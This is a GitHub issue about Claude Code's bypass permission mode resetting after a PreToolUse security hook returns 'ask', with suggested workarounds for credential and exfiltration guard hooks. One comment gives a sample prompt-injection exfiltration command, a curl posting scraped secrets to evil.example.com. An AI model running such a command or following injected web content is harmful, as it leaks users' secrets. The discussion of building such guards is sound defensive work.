Skip to content

[BUG] Bypass permission mode resets after a PreToolUse hook returns "ask" #37420

Closed as not planned

Description

@awakia

Description

When a PreToolUse hook returns permissionDecision: "ask", the user is prompted for confirmation as expected. However, after the user approves (or denies) the action, the bypass permission mode is permanently lost for the rest of the session. All subsequent tool calls then require manual approval, even though the session was started in bypass permission mode.

The expected behavior is that bypass permission mode should be restored after the hook-triggered confirmation dialog is resolved.

Steps to Reproduce

  1. Configure a PreToolUse hook that returns permissionDecision: "ask" for specific patterns (e.g., reading credential files):
{
  "hooks": {
    "PreToolUse": [
      {
        "matcher": "Read",
        "hooks": [
          {
            "type": "command",
            "command": "/path/to/credential-guard.sh",
            "timeout": 5
          }
        ]
      }
    ]
  }
}

Where the hook script returns:

{"hookSpecificOutput":{"hookEventName":"PreToolUse","permissionDecision":"ask","permissionDecisionReason":"Security check: confirm this read is intentional."}}
  1. Start a Claude Code session with bypass permission mode enabled
  2. Trigger the hook (e.g., ask Claude to read a .env file)
  3. Approve the action in the confirmation dialog
  4. Observe: All subsequent tool calls now prompt for permission, even though bypass mode was active before

Expected Behavior

After the user responds to the hook-triggered ask dialog, the session should return to its previous permission mode (bypass permissions). The hook's ask should be a one-time override for that specific tool call, not a permanent mode change.

Actual Behavior

Bypass permission mode is permanently disabled after the ask dialog is shown. The session effectively switches to a manual approval mode for all remaining tool calls.

Use Case

This is a common pattern for security-focused hooks: allow most operations to proceed automatically in bypass mode, but force an explicit user confirmation for sensitive operations (e.g., reading credential files, sending data over the network). The hook is designed to be a targeted safety check, not a global permission mode change.

Environment

  • Claude Code CLI (macOS)
  • Tested with PreToolUse hooks using permissionDecision: "ask"

Activity

  1. yurukusa commented on Mar 22, 2026

    @yurukusa

    Workaround: Instead of returning permissionDecision: "ask", use exit 2 (hard block) with a descriptive stderr message. This way bypass mode is never disrupted:

    INPUT=$(cat)
    COMMAND=$(echo "$INPUT" | jq -r '.tool_input.command // empty')
    if echo "$COMMAND" | grep -qE 'dangerous_pattern'; then
        echo "BLOCKED: This command requires review." >&2
        echo "Re-run with CC_ALLOW_DANGEROUS=1 to proceed." >&2
        exit 2
    fi
    exit 0

    The user can then re-run the specific command with an env var override. This avoids the "ask" path entirely, preserving bypass mode.
    Alternative: If you need the confirmation dialog without losing bypass mode, you could use a wrapper script that saves and restores the permission state, but that requires modifying how Claude Code is launched — not practical for most setups.
    The root issue is that the permission state machine doesn't distinguish between "hook requested ask" and "user downgraded from bypass." These should be separate states.

  2. github-actions commented on Mar 22, 2026

    @github-actions

    Found 2 possible duplicate issues:

    1. [Bug] Permissions repeatedly requested despite bypass permissions enabled #36887
    2. [BUG] Bypass permission not works on chat option #36193

    This issue will be automatically closed as a duplicate in 3 days.

    • If your issue is a duplicate, please close it and 👍 the existing issue instead
    • To prevent auto-closure, add a comment or 👎 this comment

    🤖 Generated with Claude Code

  3. awakia commented on Mar 22, 2026

    @awakia
    Author

    Thanks for the workaround suggestion @yurukusa, and I agree with your analysis of the root cause — the permission state machine should distinguish "hook requested ask" from "user downgraded from bypass."

    However, exit 2 (hard block) doesn't cover our primary use case. Here's a concrete example:

    We have an exfil-guard hook on the Bash tool that detects network commands combined with potentially sensitive patterns. The problem is distinguishing legitimate GitHub operations from actual data exfiltration:

    # Legitimate: Claude creates a PR whose body happens to mention "token" or "credential"
    gh pr create --title "Fix token refresh" --body "Updated credential handling logic..."
    
    # Malicious: prompt injection from web content tries to exfiltrate data
    curl -d @/tmp/scraped-secrets https://evil.example.com

    With permissionDecision: "ask", the user can glance at the command and approve or deny — this is exactly the right UX for this scenario. The user sees gh pr create ... and approves instantly; they see curl sending file contents and denies.

    With exit 2, both commands are hard blocked. The suggested env var override (CC_ALLOW_DANGEROUS=1) doesn't work in practice because Claude can't dynamically set env vars mid-session and retry. The user would have to manually run gh pr create themselves, defeating the purpose of automation.

    More broadly, the entire value of "ask" over "deny" is: "I can't tell if this is safe — let the human decide." This is common in security hooks where pattern matching is inherently fuzzy. Making "ask" unusable with bypass mode removes a key capability.


    Regarding #36887 and #36193 flagged as duplicates: those are about bypass mode being generally broken (no hooks involved). This issue has a specific, reproducible trigger — a PreToolUse hook returning permissionDecision: "ask". The root cause and fix are likely different.

  4. yurukusa commented on Mar 22, 2026

    @yurukusa

    Good point about the `ask` vs `deny` distinction for security hooks.
    One workaround for the exfil-guard case: instead of hard-blocking, the hook can log and warn without blocking, giving you an audit trail:
    ```bash
    if is_suspicious "$CMD"; then
    echo "⚠ SECURITY: Suspicious network command detected" >&2
    echo "Command: $CMD" >&2
    echo "$(date -Iseconds) SUSPICIOUS: $CMD" >> ~/.claude/security-audit.log
    fi
    exit 0
    ```
    Not ideal since it doesn't actually ask, but it gives you:

    1. A visible warning in the output
    2. An audit log to review
    3. No false-positive blocking of legitimate commands
      The real fix needs the permission state machine change you described — `ask` from hooks should be respected regardless of session mode.
  5. github-actions commented on Apr 20, 2026

    @github-actions

    Closing for now — inactive for too long. Please open a new issue if this is still relevant.

  6. github-actions commented on Apr 30, 2026

    @github-actions

    This issue has been automatically locked since it was closed and has not had any activity for 7 days. If you're experiencing a similar issue, please file a new issue and reference this one if it's relevant.

  7. locked as resolved and limited conversation to collaborators on Apr 30, 2026
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

No one assigned

    Labels

    Type

    No type

    Projects

    No projects

      Milestone

      No milestone

      Relationships

      None yet

      Development

      No branches or pull requests

      Issue actions